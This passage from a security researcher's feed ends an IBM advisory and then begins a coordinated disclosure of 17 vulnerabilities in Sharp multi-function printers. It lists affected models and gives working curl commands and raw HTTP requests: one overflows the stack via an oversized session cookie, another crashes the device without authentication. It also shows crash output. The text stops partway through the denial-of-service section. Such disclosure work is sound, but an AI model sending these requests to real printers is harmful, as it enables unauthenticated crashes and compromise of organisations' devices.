<li>Sep 13, 2024: IBM PSIRT provided me with (1) links regarding the runtime authentication bypass and (2) additional CVEs. They also confirmed that at least one vulnerability was not fixed and asked me not to disclose this finding until it was patched. No information was provided when this vulnerability would be patched.</li>
<li>Nov 1, 2024: A security advisory is published.</li>
</ul>
<h2>Credits</h2>
<p>These vulnerabilities were found by Pierre Barre aka Pierre Kim (<a href="https://twitter.com/PierreKimSec">@PierreKimSec</a>).</p>
<h2>References</h2>
<p><a href="https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html">https://pierrekim.github.io/blog/2024-11-01-ibmsecurity-4-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-ibmsecurity.txt">https://pierrekim.github.io/advisories/2024-ibmsecurity.txt</a></p>
<p><a href="https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html">https://pierrekim.github.io/blog/2024-11-01-ibm-security-verify-access-32-vulnerabilities.html</a></p>
<p><a href="https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt">https://pierrekim.github.io/advisories/2024-ibm-security-verify-access.txt</a></p>
<p><a href="https://www.ibm.com/support/pages/node/7147932">https://www.ibm.com/support/pages/node/7147932</a></p>
<p><a href="https://github.com/IBM-Security/ibmsecurity/issues/416">https://github.com/IBM-Security/ibmsecurity/issues/416</a></p>
<h2>Disclaimer</h2>
<p>This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">http://creativecommons.org/licenses/by-nc-sa/3.0/</a></p></content>
    </entry>
    
    <entry>
        <title>17 vulnerabilities in Sharp Multi-Function Printers</title>
        <link href="2024-06-27-sharp-mfp-17-vulnerabilities.html"/>
        <content type="html"><h2>Product description</h2>
<blockquote>
<p>Multifunction printers offer more than just print. These devices integrate the power of a printer, photocopier and scanner into one single device.  </p>
<p>From <a href="https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers">https://www.sharp.co.uk/printers-photocopiers/explore-sharp-printers/sharp-multifunction-printers</a></p>
</blockquote>
<h2>Vulnerability Summary</h2>
<p>Vulnerable versions: 308 different models of Sharp Multi-Function Printers (MFP) are vulnerable. It is recommended to visit the official <a href="https://global.sharp/products/copier/info/info_security_2024-05.html">Sharp advisory</a> and apply security patches and replace unsupported Multi-Function Printers (MFP) models.</p>
<p>The summary of the vulnerabilities is as follows:</p>
<ol>
<li><a href="#pre-auth-memory-corruption">CVE-2024-28038 - Memory corruption in the main program - Remote Code Execution against the web server without authentication</a></li>
<li><a href="#pre-auth-invalid-pointer-dereference">CVE-2024-36251 - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication</a></li>
<li><a href="#world-readable-coredump-files-insecure-storage-creds">CVE-2024-28955, CVE-2024-29146, CVE-2024-29978, CVE-2024-32151 - World-readable coredump files and insecure storage of credentials</a></li>
<li><a href="#pre-auth-arbitrary-directory-listing">CVE-2024-33605 - Arbitrary Directory Listing without authentication</a></li>
<li><a href="#pre-auth-lfi">non-assigned CVE vulnerability - Local File Inclusion allowing to read any file (e.g. Coredump files) without authentication</a><br>
5.1 <a href="#pre-auth-lfi-pwn-01">Generation of the coredump file on the printer</a><br>
5.2 <a href="#pre-auth-lfi-pwn-02">Local File Inclusion of the coredump file</a><br>
5.3 <a href="#pre-auth-lfi-pwn-03">Retrieve of credentials using the coredump files</a><br>
5.4 <a href="#pre-auth-lfi-pwn-04">Retrieve of credentials using configuration files</a><br></li>
<li><a href="#pre-auth-cookies">CVE-2024-33610 - Backdoor webpage - Listing of session cookies without authentication</a></li>
<li><a href="#pre-auth-conf-webpages">non-assigned CVE vulnerability - Configuration webpages reachable without authentication</a></li>
<li><a href="#pre-auth-dos">CVE-2024-33610 - Reboot without authentication - Remote DoS</a></li>
<li><a href="#backdoor-service">CVE-2024-35244 - Backdoor access - Service</a></li>
<li><a href="#backdoor-fss-user">non-assigned CVE vulnerability - Backdoor access - FSS User</a></li>
<li><a href="#insecure-default-credentials">non-assigned CVE vulnerability - Insecure default credentials</a></li>
<li><a href="#read-admin-access-telnet">CVE-2024-33616 - Read admin access on telnet</a></li>
<li><a href="#xss-login">non-assigned CVE vulnerability - XSS on all the Sharp printers (login.html)</a></li>
<li><a href="#xss-all-pages">non-assigned CVE vulnerability - XSS on all the Sharp printers (all other HTML pages)</a></li>
<li><a href="#ldap-credentials-exfiltration">CVE-2024-34162 - Exfiltration of LDAP credentials by downgrading the security</a></li>
<li><a href="#hardcoded-google-api-keys">CVE-2024-36248 - Hardcoded Google API Keys</a></li>
<li><a href="#hardcoded-aws-api-keys">non-assigned CVE vulnerability - Hardcoded Amazon API Keys</a></li>
<li><a href="#cve-2022-45796">N-day CVE-2022-45796 - Remote Code Execution</a></li>
</ol>
<p>TL;DR: An attacker can compromise Sharp Multi-Function Printers using multiple vulnerabilities.</p>
<p>List of vulnerable models of Sharp Multi-Function Printers (308 models):</p>
<pre><code>BP-30C25, BP-30C25T, BP-30C25Y, BP-30C25Z, BP-30M35, BP-30M31, BP-30M28, BP-30M35T, BP-30M31T, BP-30M28T, 
BP-50C36, BP-50C31, BP-50C26, BP-50C65, BP-50C55, BP-50C45, BP-50M36, BP-50M31, BP-50M26, BP-50M55, 
BP-50M50, BP-50M45, BP-55C26, BP-60C45, BP-60C36, BP-60C31, BP-70C36, BP-70C31, BP-70C65, BP-70C55, 
BP-70C45, BP-70M36, BP-70M31, BP-70M65, BP-70M55, BP-70M45, BP-90C70, BP-90C80, BP-B547WD, BP-B537WR, 
BP-B550WD, BP-B540WR, BP-70M90, BP-70M75, MX-M1205, MX-M1055, DX-2500N, DX-2000U, MX-2010U, MX-1810U, 
MX-2314N, MX-2314NR, MX-2630N, MX-3050N A, MX-3050V A, MX-3100N, MX-3100G, MX-2600N, MX-2600G, MX-3101N, 
MX-2601N, MX-2301N, MX-3111U, MX-2310U, MX-2310R, MX-3115N, MX-2615N, MX-2615 A, MX-3116N, MX-2616N, 
MX-3551, MX-3051, MX-2651, MX-3570N, MX-3070N, MX-3570V, MX-3070V, MX-3571, MX-3071, MX-3571S, 
MX-3071S, MX-3610N, MX-3110N, MX-2610N, MX-3110N A, MX-3610NR, MX-3640N, MX-3140N, MX-2640N, MX-3140N A, 
MX-3640NR, MX-3140NR, MX-2640NR, MX-4050N, MX-3550N, MX-3050N, MX-4050V, MX-3550V, MX-3050V, MX-4060N, 
MX-3560N, MX-3060N, MX-4060V, MX-3560V, MX-3060V, MX-4061, MX-3561, MX-3061, MX-4061S, MX-3561S, 
MX-3061S, MX-5001N, MX-5000N, MX-4101N, MX-4100N, MX-5112N, MX-5111N, MX-5110N, MX-4112N, MX-4111N, 
MX-4110N, MX-5141N A, MX-4140N A, MX-5141N, MX-5140N, MX-4141N, MX-4140N, MX-6050N, MX-5050N, MX-6050V, 
MX-5050V, MX-6051, MX-5051, MX-4051, MX-6070N A, MX-4070N A, MX-3070N A, MX-6070N, MX-5070N, MX-4070N, 
MX-6070V A, MX-4070V A, MX-3070V A, MX-6070V, MX-5070V, MX-4070V, MX-6071, MX-5071, MX-4071, MX-6071S, 
MX-5071S, MX-4071S, MX-7040N, MX-6240N, MX-7500N, MX-6500N, MX-7580N, MX-6580N, MX-8081, MX-7081, 
MX-8090N, MX-7090N, MX-B400P, MX-B380P, MX-B401, MX-B381, MX-B402, MX-B382, MX-B402P, MX-B382P, 
MX-B402SC, MX-B382SC, MX-B455W, MX-B355W, MX-B455WT, MX-B355WT, MX-B455WZ, MX-B355WZ, MX-B456WH, MX-B356WH, 
MX-B456W, MX-B356W, MX-B476WH, MX-B376WH, MX-B476W, MX-B376W, MX-C301W, MX-C301, MX-C304, MX-C303, 
MX-C304WH, MX-C303WH, MX-C304W, MX-C303W, MX-C312, MX-C311, DX-C311, DX-C311J, MX-C310, DX-C310, 
MX-C381, DX-C381, MX-C380, MX-C381B, MX-C400P, MX-C380P, MX-C401, DX-C401, DX-C401 J, MX-C400, 
DX-C400, MX-C402SC, MX-C382SC, MX-C382SCB, MX-M1204, MX-M1054, MX-M904, MX-M1206, MX-M1056, MX-M2630, 
MX-M2630 A, MX-M266N, MX-M265N, MX-M265U, MX-M266NV, MX-M265NV, MX-M265UV, MX-M3050 A, MX-M314NV, MX-M264NV, 
MX-M315NE, MX-M265NE, MX-M315NE, MX-M265NE, MX-M315V, MX-M265V, MX-M354N, MX-M314N, MX-M264N, MX-M354NR, 
MX-M314NR, MX-M264NR, MX-M354U, MX-M314U, MX-M264U, MX-M3550, MX-M3050, MX-M3551, MX-M3051, MX-M2651, 
MX-M356N, MX-M316N, MX-M315N, MX-M356U, MX-M315U, MX-M356NV, MX-M316NV, MX-M315NV, MX-M356UV, MX-M315UV, 
MX-M3570, MX-M3070, MX-M3571, MX-M3071, MX-M3571S, MX-M3071S, MX-M465N A, MX-M365N A, MX-M503N, MX-M453N, 
MX-M363N, MX-M283N, MX-M503U, MX-M453U, MX-M363U, MX-M564N, MX-M464N, MX-M364N, MX-M564N A, MX-M565N, 
MX-M465N, MX-M365N, MX-M6050, MX-M5050, MX-M4050, MX-M6051, MX-M5051, MX-M4051, MX-M6070 A, MX-M4070 A, 
MX-M3070 A, MX-M6070, MX-M5070, MX-M4070, MX-M6071, MX-M5071, MX-M4071, MX-M6071S, MX-M5071S, MX-M4071S, 
MX-M753N, MX-M753U, MX-M623N, MX-M623U, MX-M754N, MX-M654N, MX-M754N A, MX-M654N A, MX-M7570, MX-M6570, 
MX-M905.
</code></pre>
<p><em>Miscellaneous notes</em>:</p>
<p>This security assessment was entirely done using a blackbox approach and fully-remote - I only had some IPs of printers (no physical access and no credentials for admin or normal users). Consequently, the physical security of the printers was not analyzed and the vulnerabilities were confirmed with about 15 different models running the latest firmware versions (MX-3060N, MX-3061, MX-3070N, MX-3560N, MX-3561, MX-5070V, MX-5071, MX-C3051R MX-C3081R, MX-M365N, MX-M453U, MX-M465N, MX-M5050, MX-M5051, MX-M6051 and MX-M6071).</p>
<p>The vulnerabilities were communicated to JPCERT on June 1, 2023 and communications with JPCERT were very effective - they fully managed interactions with Sharp.</p>
<p><em>Impacts</em></p>
<p>An attacker can compromise Sharp multi-function printers (MFP) and execute code. These printers are running Linux and are powerful. They are ideal to host implants (and fun programs, like Bettercap) and move laterally inside infrastructures.</p>
<p><em>Recommendations</em></p>
<ul>
<li>Use network segmentation to isolate MFPs.</li>
<li>Apply security patches.</li>
<li>Replace unsupported MFPs.</li>
</ul>
<p><a id="pre-auth-memory-corruption"></a></p>
<h2>Details - Memory corruption in the main program - Remote Code Execution against the web server without authentication</h2>
<p>By Default, Sharp printers are using a single super-program that will run as root and provide network daemons (ftp, http, snmp, raw-printer-9100, ...). This single program is vulnerable to a stack-based buffer overflow without authentication.</p>
<p>This <code>main</code> program runs as root and its HTTP stack is vulnerable, without authentication, to a stack-based buffer overflow, allowing an attacker to redirect the control flow of the program and achieve remote code execution.</p>
<p><code>main</code> program listening on port 80/tcp:</p>
<pre><code>sh-4.3# ps -auxww | grep main
root      1186  6.3  5.3 2124656 172688 ?      Sl   00:27  43:36 /tmp/app/ui/ui_mainview -hidecursor
root      2081  3.9 10.9 2515532 348980 ?      Sl   00:27  26:52 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root     13598  0.0  0.0   1980   368 pts/0    S+   11:49   0:00 grep main
sh-4.3# netstat -laputen | grep main
tcp        0      0 0.0.0.0:50001           0.0.0.0:*       LISTEN      0          10217       2081/main       
tcp6       0      0 :::443                  :::*            LISTEN      0          12538       2081/main       
tcp6       0      0 :::52000                :::*            LISTEN      0          33214       2081/main       
tcp6       0      0 :::10080                :::*            LISTEN      0          18542       2081/main       
tcp6       0      0 :::515                  :::*            LISTEN      0          10166       2081/main       
tcp6       0      0 :::53000                :::*            LISTEN      0          12539       2081/main       
tcp6       0      0 :::10443                :::*            LISTEN      0          18545       2081/main       
tcp6       0      0 :::5900                 :::*            LISTEN      0          33233       2081/main       
tcp6       0      0 :::9100                 :::*            LISTEN      0          12534       2081/main       
tcp6       0      0 :::80                   :::*            LISTEN      0          12537       2081/main       
tcp6       0      0 :::21                   :::*            LISTEN      0          10164       2081/main       
tcp6       0      0 :::631                  :::*            LISTEN      0          10168       2081/main       
udp        0      0 127.0.0.1:9473          0.0.0.0:*                   0          13202       2081/main       
udp6       0      0 :::5353                 :::*                        0          12497       2081/main       
udp6       0      0 :::161                  :::*                        0          33229       2081/main       
udp6       0      0 :::546                  :::*                        0          33145       2081/main       
sh-4.3#
</code></pre>
<p>By default, the printer will provide a MFPSESSIONID cookie when reaching the printer with a browser as shown below. This cookie will then be used for authentication purposes if the user decides to log into the printer. For example, with a HTTP request to /main.html:</p>
<pre><code>kali% curl -kv http://10.0.0.1/main.html | head
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /main.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Server: Rapid Logic/1.1
&lt; MIME-version: 1.0
&lt; Date: Thu Jan  1 02:32:35 1970 GMT
&lt; Content-Type: text/html; charset=UTF-8
&lt; Transfer-Encoding: chunked
&lt; Connection: close
&lt; Pragma: no-cache
&lt; Cache-Control: no-cache
&lt; X-Frame-Options: DENY
&lt; Set-Cookie: MFPSESSIONID=020015D2C59E7B68C9FB5F411B0E59FCBEF70F7E03CEE4C4C5A12023051115051847BC555A
&lt; Extend-sharp-setting-status: 0
&lt; 
{ [2 bytes data]
&lt;!DOCTYPE html&gt;
&lt;html  lang="en"&gt;
&lt;head&gt;
&lt;meta charset="UTF-8" /&gt;
&lt;meta name="viewport" content="width=320,initial-scale=1.0" /&gt;
&lt;meta name="format-detection" content="telephone=no" /&gt;
&lt;meta http-equiv="X-UA-Compatible" content="IE=8; IE=10; IE=11" /&gt;
&lt;title&gt;Machine Identification - MX-M6071&lt;/title&gt;
&lt;link rel="stylesheet" href="other.css" type="text/css" /&gt;
&lt;link rel="stylesheet" href="color1.css" type="text/css" /&gt;
* Failure writing output to destination
* Failed reading the chunked-encoded stream
100  6950    0  6950    0     0   196k      0 --:--:-- --:--:-- --:--:--  199k
* Closing connection 0
curl: (23) Failure writing output to destination
kali%
</code></pre>
<p>By sending a malicious HTTP request with a long MFPSESSIONID cookie, it is possible to overwrite the stack of the main program.</p>
<p>This payload will send a MFPSESSIONID cookie with a payload of 643 bytes. This payload will overwrite a stack buffer inside the main program. The buffer is probably 639 bytes and <code>EDBB</code> will overwrite the stack:</p>
<pre><code>kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /system.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
&gt;
</code></pre>
<p>If /system.html does not exist, it is possible to use /main.html or any existing html webpage instead:</p>
<pre><code>kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/main.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /system.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
&gt;
</code></pre>
<p>If the first exploitation does not work, it is possible to resend it again to overwrite the stack the second time:</p>
<pre><code>kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /system.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
kali% var=`perl -e "print 'A'x639"`; curl -v -b "MFPSESSIONID=${var}EDCB" http://10.0.0.1/system.html
*   Trying 10.0.0.1:80...
* Connected to 10.0.0.1 (10.0.0.1) port 80 (#0)
&gt; GET /system.html HTTP/1.1
&gt; Host: 10.0.0.1
&gt; User-Agent: curl/7.88.1
&gt; Accept: */*
&gt; Cookie: MFPSESSIONID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEDCB
</code></pre>
<p>The <code>dmesg</code> output on the printer will confirm that the main program crashed while trying to reach the address 0x42434445, corresponding to the previous <code>EDCB</code> sent inside the cookie. <code>EDCB</code> is represented in the little-endian format as ARM is little-endian and 0x42434445 can be found inside several registers (but not PC).</p>
<p>output of <code>dmesg</code>:</p>
<pre><code>[  127.970220] main[15612]: unhandled level 2 translation fault (11) at 0x42434445, esr 0x92000006
[  127.979463] pgd = ffff80007a07e000
[  127.982981] [42434445] *pgd=00000000fa099003, *pud=00000008c6f9d003, *pmd=0000000000000000

[  127.992811] CPU: 1 PID: 15612 Comm: main Tainted: P           O    4.1.46-rt52 #2
[  128.000296] Hardware name: LS1043A MFP Board (DT)
[  128.005195] task: ffff8008372c69c0 ti: ffff80083dde0000 task.ti: ffff80083dde0000
[  128.012710] PC is at 0x20d4ff8
[  128.015761] LR is at 0x2a0
[  128.018465] pc : [&lt;00000000020d4ff8&gt;] lr : [&lt;00000000000002a0&gt;] pstate: 900f0010
[  128.026024] sp : 000000008f12f7c0
[  128.029335] x12: 0000000042434445 
[  128.032981] x11: 000000008fd45008 x10: 0000000000000001 
[  128.038298] x9 : 0000000091247bf8 x8 : 000000008fd5648c 
[  128.043678] x7 : 0000000000000000 x6 : 000000008fd56c58 
[  128.048996] x5 : 000000008fd569bc x4 : 0000000008b90bdc 
[  128.054388] x3 : 0000000042434445 x2 : 0000000042434445 
[  128.059834] x1 : 000000008fd569b8 x0 : 0000000000000001
</code></pre>
<p>On the printer, using GDB, we will confirm the main program crashed and the stack has been successfully corrupted:</p>
<pre><code>sh-4.3# ps -auxww|grep main
root      1186  9.7  4.9 2123632 158080 ?      Sl   11:31   0:21 /tmp/app/ui/ui_mainview -hidecursor
root      2023  7.8  9.8 2505880 316360 ?      Sl   11:31   0:15 /tmp/main/main -cpu=1 -stack=8000 -fifo -nosigmask -nodlychk
root     26544  0.0  0.0   1980   376 pts/0    S+   11:34   0:00 grep main
sh-4.3# gdb -p 2023
GNU gdb (GDB) 7.10.1.20160210-cvs
warning: File "/lib/libthread_db-1.0.so" auto-loading has been declined by your `auto-load safe-path' set to "$debugdir:$datadir/auto-load".

warning: Unable to find libthread_db matching inferior's thread library, thread debugging will not be available.
0xf744f1c4 in pthread_join () from /lib/libpthread.so.0
(gdb) c

...
[LWP 32749 exited]
[New LWP 32750]
[New LWP 32751]
[LWP 32751 exited]
[New LWP 32752]
...
[New LWP 27196]
[LWP 27196 exited]
[New LWP 27197]

Program received signal SIGSEGV, Segmentation fault.
[Switching to LWP 27195]
0x020d4ff8 in ?? ()
(gdb) bt
#0  0x020d4ff8 in ?? ()
#1  0x000002a0 in ?? ()
Backtrace stopped: previous frame identical to this frame (corrupt stack?)
(gdb) info reg
r0             0x1      1
r1             0x903e0ec8       2419986120
r2             0x42434445       1111704645
r3             0x42434445       1111704645
r4             0x8b90bdc        146344924
r5             0x903e0ecc       2419986124
r6             0x903e1168       2419986792
r7             0x0      0
r8             0x903e082c       2419984428
r9             0x918ddcb8       2441993400
r10            0x1      1
r11            0x903db008       2419961864
r12            0x42434445       1111704645
sp             0x72231fc0       0x72231fc0
lr             0x2a0    672
pc             0x20d4ff8        0x20d4ff8
cpsr           0x90050010       -1878720496
(gdb) info frame
Stack level 0, frame at 0x72231fc0:
 pc = 0x20d4ff8; saved pc = 0x2a0
 called by frame at 0x72231fc0
 Arglist at 0x72231fc0, args: 
 Locals at 0x72231fc0, Previous frame's sp is 0x72231fc0
(gdb)
</code></pre>
<p>There is no ASLR in the <code>main</code> program; the addresses are always identical therefore exploitation is very likely.    </p>
<p>Exploitation was not attempted since no enough time was allocated to develop such exploit during this security assessment and I already had a remote shell as root on the printers. Sharp confirmed that exploitation is possible.</p>
<p>An attacker with a RCE vulnerability can then move laterally and use Wifi to exfiltrate information:</p>
<pre><code>bash-4.3# iwlist ath0 scan
ath0      Scan completed :
          Cell 01 - Address: 00:3C:10:01:02:03
                    ESSID:"[REDACTED]"
                    Mode:Master
                    Frequency:2.412 GHz (Channel 1)
                    Quality=93/94  Signal level=-54 dBm  Noise level=-95 dBm
                    Encryption key:off
                    Bit Rates:12 Mb/s; 18 Mb/s; 24 Mb/s; 36 Mb/s; 48 Mb/s
                              54 Mb/s
                    Extra:bcn_int=100

bash-4.3#
</code></pre>
<p><a id="pre-auth-invalid-pointer-dereference"></a></p>
<h2>Details - Invalid (0x000000d0) pointer dereference - Remote DoS without authentication</h2>
<p>It was observed that the <code>/billcodedef_sub_sel.html</code> webpage is reachable without authentication on Sharp printers. A specific request to this webpage will trigger an invalid pointer deference in the main program. The printer will then reboot after creating coredump files.</p>
<p><img alt="" src="images/2024-sharp-billcodedef_sub_sel.png" /></p>
<p><a href="images/2024-sharp-billcodedef_sub_sel-full.png">Click here for full image</a></p>
<p>When submitting the request with the Sub Code <code>test</code> by pressing <code>Search Start(Q)</code>, the HTTP request will be:</p>
<p>HTTP request using the HTML form from <code>billcodedef_sub_sel.html</code>:</p>
<p><img alt="" src="images/2024-sharp-null-pointer-dereference-ok.png" /></p>
<p><a href="images/2024-sharp-null-pointer-dereference-ok-full.png">Click here for full image</a></p>
<p>It is possible to modify the HTTP request to change <code>curr_page_url=%2Fbillcodedef_sub_sel.html</code> to <code>curr_page_url=%2Fbillcodedef_sub_sel.html?</code>. A question mark was added after <code>billcodedef_sub_sel.html</code>.</p>
<p>The resulting request will be:</p>
<p><img alt="" src="images/2024-sharp-null-pointer-dereference.png" /></p>
<p><a href="images/2024-sharp-null-pointer-dereference-full.png">Click here for full image</a></p>
<p>The corresponding malicious HTTP request to trigger the DoS is:</p>
<pre><code>POST /billcodedef_sub_sel.html? HTTP/1.1
Host: 10.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 406 
Origin: http://10.0.0.1
Connection: close
Referer: http://10.0.0.1/billcodedef_sub_sel.html?
Cookie: MFPSESSIONID=020035B15A47378CF80C6175263F714EEF9118E72A1AA6C9CAC6202305181146331E5FF54; sideBarflag=1
Upgrade-Insecure-Requests: 1

billing_code_def_selWebchg=&amp;action=searchbtn&amp;ordinate=0&amp;token2=AEC039F52DC886D169AC7F977F61D4C61295539BC0A3572B08E37FB291B9A766E238FB699426F67B&amp;ggt_textbox%288%29=test&amp;ggt_textbox%2811%29=&amp;ggt_select%2829%29=1&amp;billing_radio=2%2C&amp;BillingCode%282%2C%29=Not+Set&amp;BillingCodeName%28%29=&amp;ggt_hidden%2839%29=0&amp;ggt_hidden%2840%29=1&amp;ggt_hidden%2844%29=&amp;curr_page_url=%2Fbillcodedef_sub_sel.html?&amp;selBillingCodeName=
</code></pre>
<p>We can also reproduce the issue using curl:</p>
<pre><code>kali% curl -i -s -k -X $'POST' -H $'Host: 10.0.0.1' --data-binary 'curr_page_url=%2Fbillcodedef_sub_sel.html?' 'http://10.0.0.1/billcodedef_sub_sel.html'
</code></pre>
<p>On the printer, we can see a crash:</p>
<pre><code>[ 9914.440518] main[18602]: unhandled level 3 translation fault (11) at 0x000000d0, esr 0x92000007
[ 9914.453538] pgd = ffff80082f408000
[ 9914.456936] [000000d0] *pgd=00000000f9ea6003, *pud=00000000f9f6e003, *pmd=00000000f9c0f003, *pte=0000000000000000

[ 9914.468751] CPU: 1 PID: 18602 Comm: main Tainted: P           O    4.1.46-rt52 #2
[ 9914.476433] Hardware name: LS1043A MFP Board (DT)
[ 9914.481138] task: ffff80083de6c680 ti: ffff80082cb20000 task.ti: ffff80082cb20000
[ 9914.488691] PC is at 0x228fe6c
[ 9914.491744] LR is at 0x228f820
[ 9914.494830] pc : [&lt;000000000228fe6c&gt;] lr : [&lt;000000000228f820&gt;] pstate: 600f0010
[ 9914.502227] sp : 000000007212fd70
[ 9914.505539] x12: 00000000ffffffff 
